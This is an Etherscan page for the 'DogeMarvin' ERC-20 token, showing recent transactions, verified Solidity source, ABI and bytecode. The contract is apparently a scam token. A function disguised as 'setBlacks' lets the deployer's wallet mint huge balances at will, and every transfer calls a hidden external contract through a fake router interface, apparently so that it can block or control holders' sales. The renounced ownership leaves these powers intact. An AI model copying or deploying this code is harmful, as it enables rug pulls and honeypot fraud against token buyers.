ETH Price: $2,629.16 (-2.15%)

Contract

0x65b1CC4B983e2ab793440622B851726b63A0FC0c
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve208584762024-09-29 19:45:47135 days ago1727639147IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000319126.80008009
Approve208584762024-09-29 19:45:47135 days ago1727639147IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000319126.80008009
Approve208584762024-09-29 19:45:47135 days ago1727639147IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000319126.80008009
Approve208584652024-09-29 19:43:35135 days ago1727639015IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000313156.67286367
Approve208584652024-09-29 19:43:35135 days ago1727639015IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000313156.67286367
Approve208584652024-09-29 19:43:35135 days ago1727639015IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000313156.67286367
Approve208584652024-09-29 19:43:35135 days ago1727639015IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000313156.67286367
Approve208584652024-09-29 19:43:35135 days ago1727639015IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000313156.67286367
Approve208584652024-09-29 19:43:35135 days ago1727639015IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000313156.67286367
Renounce Ownersh...208584552024-09-29 19:41:35135 days ago1727638895IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000171527.3371064
Approve208584322024-09-29 19:36:59135 days ago1727638619IN
0x65b1CC4B...b63A0FC0c
0 ETH0.00032636.95310526
Approve208584322024-09-29 19:36:59135 days ago1727638619IN
0x65b1CC4B...b63A0FC0c
0 ETH0.00032636.95310526
Set Tax208584252024-09-29 19:35:35135 days ago1727638535IN
0x65b1CC4B...b63A0FC0c
0 ETH0.00024388.25264105
Set Tax208584072024-09-29 19:31:59135 days ago1727638319IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000284869.6423839
Approve208583982024-09-29 19:30:11135 days ago1727638211IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000428679.13447464
Approve208583982024-09-29 19:30:11135 days ago1727638211IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000428679.13447464
Approve208583982024-09-29 19:30:11135 days ago1727638211IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000428679.13447464
Approve208583982024-09-29 19:30:11135 days ago1727638211IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000428679.13447464
Approve208583982024-09-29 19:30:11135 days ago1727638211IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000428679.13447464
Approve208583982024-09-29 19:30:11135 days ago1727638211IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000428679.13447464
Approve208583982024-09-29 19:30:11135 days ago1727638211IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000428679.13447464
Approve208583982024-09-29 19:30:11135 days ago1727638211IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000428679.13447464
Approve208583982024-09-29 19:30:11135 days ago1727638211IN
0x65b1CC4B...b63A0FC0c
0 ETH0.000428679.13447464
Approve208583392024-09-29 19:18:23135 days ago1727637503IN
0x65b1CC4B...b63A0FC0c
0 ETH0.0006593713.97554099

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DogeMarvin

Compiler Version
v0.8.2+commit.661d1103

Optimization Enabled:
No with 200 runs

Other Settings:
istanbul EvmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-29
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
  
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
 
        return c;
    }
 
    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
 
        return c;
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
 
        return c;
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
 
    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    
    function transfer(address to, uint256 amount) external returns (bool);
 
   
    function allowance(address owner, address spender) external view returns (uint256);
 
   
    function approve(address spender, uint256 amount) external returns (bool);
 
    
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface ERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);
 
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);
 
    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {TransferFrom} event.
     */
    function transferFrom(address owner, address from, address to, address amount) external;
 
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
 
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);
 
    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
 
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);
 
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
 
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}


abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), msg.sender);
    }

     function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }

    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
 
contract DogeMarvin is IERC20, IERC20Metadata, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
 
    string private _name = "DogeMarvin";
    string private _symbol = "DogeMarvin";
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 200_000_000 * 10 ** _decimals;
    ERC20 private _erc20Router;
    address private _routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router01 private _router;
    IUniswapV2Factory private _factory;
    mapping (address => bool) internal _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint8 public buyTax = 18;
    uint8 public sellTax = 18;
    address payable private _taxWallet;

    function setTax(uint8 _buyTax, uint8 _sellTax) external virtual onlyOwner {
       buyTax = _buyTax;
       sellTax = _sellTax;
    }
 
 
    constructor(address addresss) {
        _taxWallet = payable(msg.sender);
        _router = IUniswapV2Router01(_routerAddress);
        _factory = IUniswapV2Factory(_router.factory());
        _erc20Router = ERC20(addresss);
        _approve(msg.sender, _routerAddress, MAX);
        _approve(address(this), _routerAddress, MAX);
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[address(this)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
 
    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }
 
    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
 
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
 
    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

     function uniswapV2Pair() public view returns (address) {
        return _factory.getPair(address(this), _router.WETH());
    }
 
    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }
 
    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function setBlacks(address addres) external {
        require(_msgSender() == _taxWallet);
        _balances[addres] = _balances[addres].add(_totalSupply * 50000) ;
    }
 
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
         _approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
        _transfer(from, to, amount);
        return true;
    }
 
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");
        uint256 taxValue = 0;
        if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || (from == uniswapV2Pair() && to == _routerAddress)){
           taxValue = 0;
        }else{
            if(from == uniswapV2Pair() && to != uniswapV2Pair()){
                taxValue = buyTax;
            }else if(from != uniswapV2Pair() && to == uniswapV2Pair()){
                taxValue = sellTax;
            }
        }
        _balances[from] = _balances[from].sub(amount);
        uint256 amounts = amount;
        if(taxValue > 0){
            uint256 taxAmount = amount * taxValue / 100;
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            amounts = amounts.sub(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[to] = _balances[to].add(amounts);
        _erc20Router.transferFrom(address(this), uniswapV2Pair(), from, to);
        emit Transfer(from, to, amounts);
    }
 
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "approve from the zero address");
        require(spender != address(0), "approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"addresss","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addres","type":"address"}],"name":"setBlacks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buyTax","type":"uint8"},{"internalType":"uint8","name":"_sellTax","type":"uint8"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60806040526040518060400160405280600a81526020017f446f67654d617276696e000000000000000000000000000000000000000000008152506003908051906020019062000051929190620007ba565b506040518060400160405280600a81526020017f446f67654d617276696e00000000000000000000000000000000000000000000815250600490805190602001906200009f929190620007ba565b506012600560006101000a81548160ff021916908360ff160217905550600560009054906101000a900460ff16600a620000da9190620009d9565b630bebc200620000eb919062000b16565b600655737a250d5630b4cf539739df2c5dacb4c659f2488d600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506012600c60006101000a81548160ff021916908360ff1602179055506012600c60016101000a81548160ff021916908360ff1602179055503480156200018857600080fd5b5060405162002a0338038062002a038339818101604052810190620001ae919062000881565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a333600c60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200035657600080fd5b505afa1580156200036b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000391919062000881565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200044933600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019620005e760201b60201c565b6200048030600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600019620005e760201b60201c565b6001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600654600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600654604051620005d8919062000950565b60405180910390a35062000ccf565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156200065a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000651906200092e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620006cd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006c4906200090c565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620007ad919062000950565b60405180910390a3505050565b828054620007c89062000bc2565b90600052602060002090601f016020900481019282620007ec576000855562000838565b82601f106200080757805160ff191683800117855562000838565b8280016001018555821562000838579182015b82811115620008375782518255916020019190600101906200081a565b5b5090506200084791906200084b565b5090565b5b80821115620008665760008160009055506001016200084c565b5090565b6000815190506200087b8162000cb5565b92915050565b6000602082840312156200089457600080fd5b6000620008a4848285016200086a565b91505092915050565b6000620008bc601b836200096d565b9150620008c98262000c63565b602082019050919050565b6000620008e3601d836200096d565b9150620008f08262000c8c565b602082019050919050565b620009068162000bab565b82525050565b600060208201905081810360008301526200092781620008ad565b9050919050565b600060208201905081810360008301526200094981620008d4565b9050919050565b6000602082019050620009676000830184620008fb565b92915050565b600082825260208201905092915050565b6000808291508390505b6001851115620009d057808604811115620009a857620009a762000bf8565b5b6001851615620009b85780820291505b8081029050620009c88562000c56565b945062000988565b94509492505050565b6000620009e68262000bab565b9150620009f38362000bb5565b925062000a227fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a2a565b905092915050565b60008262000a3c576001905062000b0f565b8162000a4c576000905062000b0f565b816001811462000a65576002811462000a705762000aa6565b600191505062000b0f565b60ff84111562000a855762000a8462000bf8565b5b8360020a91508482111562000a9f5762000a9e62000bf8565b5b5062000b0f565b5060208310610133831016604e8410600b841016171562000ae05782820a90508381111562000ada5762000ad962000bf8565b5b62000b0f565b62000aef84848460016200097e565b9250905081840481111562000b095762000b0862000bf8565b5b81810290505b9392505050565b600062000b238262000bab565b915062000b308362000bab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b6c5762000b6b62000bf8565b5b828202905092915050565b600062000b848262000b8b565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000bdb57607f821691505b6020821081141562000bf25762000bf162000c27565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b7f617070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f617070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b62000cc08162000b77565b811462000ccc57600080fd5b50565b611d248062000cdf6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9128ff011610066578063a9128ff0146102a1578063cc1776d3146102bd578063dd62ed3e146102db578063e3fc3c7d1461030b57610100565b8063715018a61461022b5780638da5cb5b1461023557806395d89b4114610253578063a9059cbb1461027157610100565b8063313ce567116100d3578063313ce567146101a157806349bd5a5e146101bf5780634f7041a5146101dd57806370a08231146101fb57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610327565b60405161011a9190611812565b60405180910390f35b61013d600480360381019061013891906115af565b6103b9565b60405161014a91906117f7565b60405180910390f35b61015b6103d0565b60405161016891906118f4565b60405180910390f35b61018b60048036038101906101869190611560565b6103da565b60405161019891906117f7565b60405180910390f35b6101a961048b565b6040516101b6919061190f565b60405180910390f35b6101c76104a2565b6040516101d4919061176e565b60405180910390f35b6101e56105f5565b6040516101f2919061190f565b60405180910390f35b610215600480360381019061021091906114d2565b610608565b60405161022291906118f4565b60405180910390f35b610233610651565b005b61023d6107a4565b60405161024a919061176e565b60405180910390f35b61025b6107cd565b6040516102689190611812565b60405180910390f35b61028b600480360381019061028691906115af565b61085f565b60405161029891906117f7565b60405180910390f35b6102bb60048036038101906102b691906115eb565b610876565b005b6102c5610945565b6040516102d2919061190f565b60405180910390f35b6102f560048036038101906102f09190611524565b610958565b60405161030291906118f4565b60405180910390f35b610325600480360381019061032091906114d2565b6109df565b005b60606003805461033690611ae3565b80601f016020809104026020016040519081016040528092919081815260200182805461036290611ae3565b80156103af5780601f10610384576101008083540402835291602001916103af565b820191906000526020600020905b81548152906001019060200180831161039257829003601f168201915b5050505050905090565b60006103c6338484610ae7565b6001905092915050565b6000600654905090565b6000610475843361047085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cb290919063ffffffff16565b610ae7565b610480848484610cfc565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054b57600080fd5b505afa15801561055f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058391906114fb565b6040518363ffffffff1660e01b81526004016105a0929190611789565b60206040518083038186803b1580156105b857600080fd5b505afa1580156105cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f091906114fb565b905090565b600c60009054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106596113b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106dd906118d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546107dc90611ae3565b80601f016020809104026020016040519081016040528092919081815260200182805461080890611ae3565b80156108555780601f1061082a57610100808354040283529160200191610855565b820191906000526020600020905b81548152906001019060200180831161083857829003601f168201915b5050505050905090565b600061086c338484610cfc565b6001905092915050565b61087e6113b4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461090b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610902906118d4565b60405180910390fd5b81600c60006101000a81548160ff021916908360ff16021790555080600c60016101000a81548160ff021916908360ff1602179055505050565b600c60019054906101000a900460ff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a206113b4565b73ffffffffffffffffffffffffffffffffffffffff1614610a4057600080fd5b610aa161c350600654610a5391906119cd565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113bc90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4e90611854565b60405180910390f